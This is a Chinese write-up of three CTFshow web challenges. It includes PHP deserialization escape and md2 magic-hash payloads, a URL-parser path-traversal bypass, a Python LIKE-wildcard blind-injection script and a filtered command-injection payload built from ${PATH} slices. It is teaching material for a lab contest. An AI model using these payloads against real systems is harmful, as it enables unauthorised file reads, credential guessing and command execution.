[复现]CTFshow-月饼杯
[复现]CTFshow-月饼杯
web1_此夜圆
给了源码
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
php反序列化字符逃逸,很常见了,直接构造
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2_故人心
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
第一个浮点数精度问题,限制a的长度小于7,可以用科学计数法
a=1e-200
第二个弱类型比较,爆破md2,hint还给了后几位,用师傅们的脚本跑一下
<?php
#by Firebasky
for($a=1;$a<=1000000000;$a++){
$b='0e'.$a;
$c=(substr(hash("md2",$b),2));//取后面满足是数字
$d=(substr(hash("md2",$b),0,true).substr(hash("md2",$b),1,true));//取前面满足是0e
if($d==='0e'){
if(ctype_digit($c)){//is_numeric()函数是有漏洞。用ctype_digit();
echo $b."success";
break;
}else{
echo "fail";
}
}
}
#0e652024452 md2
#0e707326442 md2
#0e603448399 hash("md2",hash("md2",$b))
b=0e652024452&c=0e603448399
(其实懒得跑脚本了hhhh)
第三个提示了flag in /fl0g.txt,然后代码上,将输入的url用filter_var()函数过滤后,用parse_url()函数解析,解析结果host部分要以ctfshow.com结尾,然后用file_get_content去获取资源并输出
filter_var()函数可以用伪协议绕过,php遇到不认识的协议会当做目录处理,再次进行目录穿越即可
url=a://ctfshow.com/../../../../../fl0g.txt
web3_莫负婵娟
F12看到提示
因为是like的模糊匹配,所以可以使用通配符
like 模糊匹配 % 表示零个或多个字符的任意字符串 _(下划线)表示任何单个字符 [ ] 表示指定范围 ([a-f]) 或集合 ([abcdef]) 中的任何单个字符 [^] 不属于指定范围 ([a-f]) 或集合 ([abcdef]) 的任何单个字符 * 它同于DOS命令中的通配符,代表多个字符 ?同于DOS命令中的?通配符,代表单个字符 # 大致同上,不同的是代只能代表单个数字
所以用“_”代表单个字符进行盲注(抄大佬的exp)
import requests
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'http://b1390a07-2ecc-422e-a3e5-0c80c4d66024.chall.ctf.show/login.php'
pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\t')
for j in a:
password = pwd + j + (31 - i) * '_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break
运行结果
进去以后是个命令执行,输入ip执行ping命令,并且似乎把所有小写字母都过滤了,还有一些“&”和“|”之类的,这里可以用到之前的提示
环境变量 +linux字符串截取 + 通配符
思路就是从linux的环境变量中截取字符拼接命令,找不到的字符用通配符
先看看linux环境变量都有啥
类似这样,因为我是用的是wsl,所以后面一堆其他东西,不过这些够用了
截取字符串,比如${PATH:5:1},表示从第五个字符开始,截取一位(注:字符串从0开始),所以截取到的应该是“l”,同理${PATH:2:1}是截取个“s”,执行效果
因为没有字符“t”,可以使用“nl”命令读取文件,没有字符“f”,可以使用通配符”?“代替一个字符,最终payload:127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???
按f12查看flag